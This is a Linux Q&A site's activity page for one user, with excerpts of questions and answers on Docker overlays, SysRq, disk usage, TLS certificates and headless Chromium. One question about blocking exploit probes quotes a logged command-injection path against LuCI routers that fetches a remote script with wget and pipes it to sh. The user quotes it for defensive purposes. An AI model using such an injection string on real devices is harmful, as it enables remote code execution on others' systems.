Activity for matthewsnyderâ€
Type | On... | Excerpt | Status | Date |
---|---|---|---|---|
Edit | Post #292980 |
Post edited: |
— | 6 days ago |
Edit | Post #292980 | Initial revision | — | 6 days ago |
Question | — |
How to enable SysRq key? I want my SysRq key to be fully functional. When I look in `sudo sysctl -a` I see `kernel.sysrq = 1` in the output. This tells me it should be working. To test, I run `echo h > /proc/sysrq-trigger` but nothing happens. I've tried this in a terminal emulator as well as a TTY. I was expecting to ... (more) |
— | 6 days ago |
Comment | Post #292965 |
Yes - actually I used `docker inspect $CONTAINER | jq '.[].GraphDriver'` as a quick way to see it. (more) |
— | 7 days ago |
Comment | Post #292965 |
Thank you! It looks like in the output of `docker inspect $CONTAINER` there is a property `GraphDriver` that shows the overlay directories used for that container. Your answer then provides a more sophisticated way of finding the correct container. (more) |
— | 8 days ago |
Comment | Post #292961 |
This was after pruning, but with your additional argument for one month, it did delete the 10 GB directory. Thank you! I would still like to find out which container caused the 10 GB, so that I can prevent the issue in the future as well. (more) |
— | 8 days ago |
Edit | Post #292961 | Initial revision | — | 9 days ago |
Question | — |
How to identify which Docker container an overlay is for? Docker stores data under directories like `/var/lib/docker/overlay2/xyz123`. These sometimes grow very large, and Docker does not provide good instructions for how to easily manage the space used by these. I assume IDs like `xyz123` somehow correspond to containers. Occasionally, I notice that one... (more) |
— | 9 days ago |
Edit | Post #292727 | Initial revision | — | about 2 months ago |
Answer | — |
A: How to find big files and directories? I agree with other answers: Normal TUI way is `ncdu` Normal CLI way is `du` Normal GUI way is Baobab aka "Gnome Disk Usage Analyzer" and the like But just for fun, you can build a pipeline such as the one below, which finds all files, then uses `stat` to query their size and `parallel` to ... (more) |
— | about 2 months ago |
Edit | Post #292700 | Initial revision | — | about 2 months ago |
Question | — |
How to automatically block IPs that try exploit URLs? I have a static website I serve with Caddy. The Caddy is inside a container. I notice that occasionally I get malicious requests, looking at the paths requested. Some examples are: ``/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://[ some ip ]/t+-O-+|+sh`)`` ... (more) |
— | about 2 months ago |
Comment | Post #292598 |
Selenium would probably work, I'll try that. Still, would be nice to see what the problem is with this.
The reason I need chromium is that other browsers appear to ignore CSS for page size (`@page`). (more) |
— | 2 months ago |
Edit | Post #292598 | Initial revision | — | 2 months ago |
Question | — |
Vulkan errors from headless chromium Headless chromium gives me many errors: ``` $ chromium codidact.com --headless [0914/093555.796025:ERROR:angleplatformimpl.cc(44)] Display.cpp:1086 (initialize): ANGLE Display::initialize error 0: Internal Vulkan error (-3): Initialization of an object could not be completed for implementation-spe... (more) |
— | 2 months ago |
Edit | Post #292597 |
Post edited: |
— | 2 months ago |
Edit | Post #292597 | Initial revision | — | 2 months ago |
Question | — |
Supervisor: display, prefix and color output from child programs I want to run programs `foo` and `bar` with supervisord. Both programs produce a continuous stream of occasional output (stdout and stderr) as they run. When I run supervisor with `nodaemon=true`, I want to see output like this: ``` some message from supervisor another supervisor message FOO: ... (more) |
— | 2 months ago |
Edit | Post #292395 | Initial revision | — | 3 months ago |
Answer | — |
A: Command to show GPU model `inxi -G` will show this. ``` $ inxi -G Graphics: Device-1: NVIDIA GP107 [GeForce GTX 1050 Ti] driver: nvidia v: 460.39 Display: x11 server: X.Org v: 1.20.10 driver: X: loaded: nvidia resolution: 1920x108060Hz OpenGL: renderer: GeForce GTX 1050 Ti/PCIe/SSE2 v: 4.6.0 NVIDIA 460.39... (more) |
— | 3 months ago |
Comment | Post #292146 |
For other readers: The example uses some HTML magic to hide some extra text. It works because technically Markdown can have HTML mixed in and this site supports that. The hidden text contains shell commands, when you triple-click, they get selected too.
I figured I'd leave this here since it's a b... (more) |
— | 3 months ago |
Comment | Post #292085 |
That's weird. And you get decent FPS in games and so on? In any case, that definitely sounds like the Linux driver for your Nvidia card has some bugs. Maybe the driver crashes, and X responds by falling back to something else, idk.
To bring it back to the original topic: There's no point trying to... (more) |
— | 3 months ago |
Comment | Post #292280 |
I think asking for a program that counts LOC is fair.
Because there is no single correct solution, you should say why you want to get a LOC count. If it's to measure complexity, then say that (and prepare for a bunch of ackchyuallys telling you the obvious caveat that it's not a perfect heuristic)... (more) |
— | 3 months ago |
Comment | Post #292280 |
I think it's fine to interpret it as "better = answer got most upvotes". The OP sounds like he doesn't know much theory about measuring codebase size, so he is asking for a good metric as much as the name of the program that wins under that metric.
>I compared it with others; it gave much bigger n... (more) |
— | 3 months ago |
Edit | Post #292304 | Initial revision | — | 3 months ago |
Answer | — |
A: What is the most accurate CLOC (count lines of code) program? Objectively, the most accurate way would be to actually count the lines. So you would do `wc` on each file and add them up. This ends up being not a very useful statistic, because it is sensitive to many trivial things that people who talk about LoC would rather disregard: Blank lines, lines broke... (more) |
— | 3 months ago |
Suggested Edit | Post #292280 |
Suggested edit: (more) |
pending | 3 months ago |
Comment | Post #292289 |
There is technically a difference between a desktop environment and a window manager. It makes more sense to be wondering what window manager you're running. (more) |
— | 3 months ago |
Comment | Post #292296 |
> Besides, your screenshot shows a folder with that same UUID in the /mnt directory. I only have the "Secondary 0" (named it that in the mounting point input field). How come?
It's probably because PopOS is trying to be user friendly, and avoids basing the mount point name on the UUID. I guess nor... (more) |
— | 3 months ago |
Comment | Post #292296 |
I believe the OS will simply come up with a "reasonable" location to mount it at. I believe that the "standard" place (based on FHS/XDG recommendations) is something like `/run/media/USERNAME/UUID/`. So if you're going to access the drive often and don't want to be typing that `/run/media` stuff, you... (more) |
— | 3 months ago |
Comment | Post #292296 |
Btw, this answer is showing a GUI frontend, but under the hood it all becomes a command invoking `mount`. The dialog is basically just a GUI for composing a `mount ...` command. All the details for how mounting works are in https://man.archlinux.org/man/mount.8 (more) |
— | 3 months ago |
Comment | Post #292296 |
It's how the OS will find the correct disk. Unless you have a very specific use case, you almost certainly want the UUID option.
It used to be that disks would get names like `/dev/sda`, `/dev/sdb` with partitions getting `/dev/sda1` and so on. You couldn't predict whether a drive ends up with `sd... (more) |
— | 3 months ago |
Edit | Post #292083 |
Post edited: Clarify vs. installing to disk when in live USB |
— | 3 months ago |
Edit | Post #292252 |
Post edited: added example |
— | 3 months ago |
Edit | Post #292253 | Initial revision | — | 3 months ago |
Answer | — |
A: How to view a TLS certificate from the command line? Certtool from GnuTLS can do this: `certtool --certificate-info --infile=server.crt` (more) |
— | 3 months ago |
Edit | Post #292252 | Initial revision | — | 3 months ago |
Question | — |
How to view a TLS certificate from the command line? I have a TLS certificate, let's say `codidact.pem` (downloaded as in https://linux.codidact.com/posts/292251/292257#answer-292257)[](). But when I view it the file it appears to be base64 encoded: ``` $ cat codidact.pem BEGIN CERTIFICATE----- MIIDqDCCA06gAwIBAgIQFUeE1XIvh5MNywyN4cuLUTAKBggqhkjO... (more) |
— | 3 months ago |
Edit | Post #292251 | Initial revision | — | 3 months ago |
Question | — |
Download a TLS certificate from the command line What command can be used to download the TLS certificate of a site such as https://wikipedia.org? (more) |
— | 3 months ago |
Edit | Post #291732 |
Post edited: Change the output to one block for better formatting |
— | 3 months ago |
Edit | Post #292217 |
Post edited: |
— | 3 months ago |
Edit | Post #292217 | Initial revision | — | 3 months ago |
Answer | — |
A: Ubuntu system has lost DNS access This is not a full answer, but my hypothesis is: Your system is configured to resolve domains exclusively through a single server running locally. Thereby, that local server can centrally control how DNS is handled, while no lookups can escape the server. This is probably because you tried to use ... (more) |
— | 3 months ago |
Suggested Edit | Post #291732 |
Suggested edit: Change the output to one block for better formatting (more) |
helpful | 3 months ago |
Comment | Post #292085 |
I don't know if that's the source of this particular problem, but I would be surprised if it worked at all. Mesa/Vesa are the open source drivers. They're nice in that they're free as in freedom and you don't have to install any mystery binary blobs. But Nvidia/AMD don't support them much so these ar... (more) |
— | 4 months ago |
Edit | Post #292176 | Initial revision | — | 4 months ago |
Question | — |
Change device name that shows up in pactl I use pipewire. When I list devices with pactl, I see some ugly `device.name` values. Some of these I changed in the past, but forgot how. I want to change some more. How? (more) |
— | 4 months ago |
Comment | Post #292154 |
Since you are suggesting a pre-commit hook, does that mean there is no built in way in git to do this? Just curious, I think the hook method is great - thanks for sharing it. (more) |
— | 4 months ago |
Edit | Post #292138 | Initial revision | — | 4 months ago |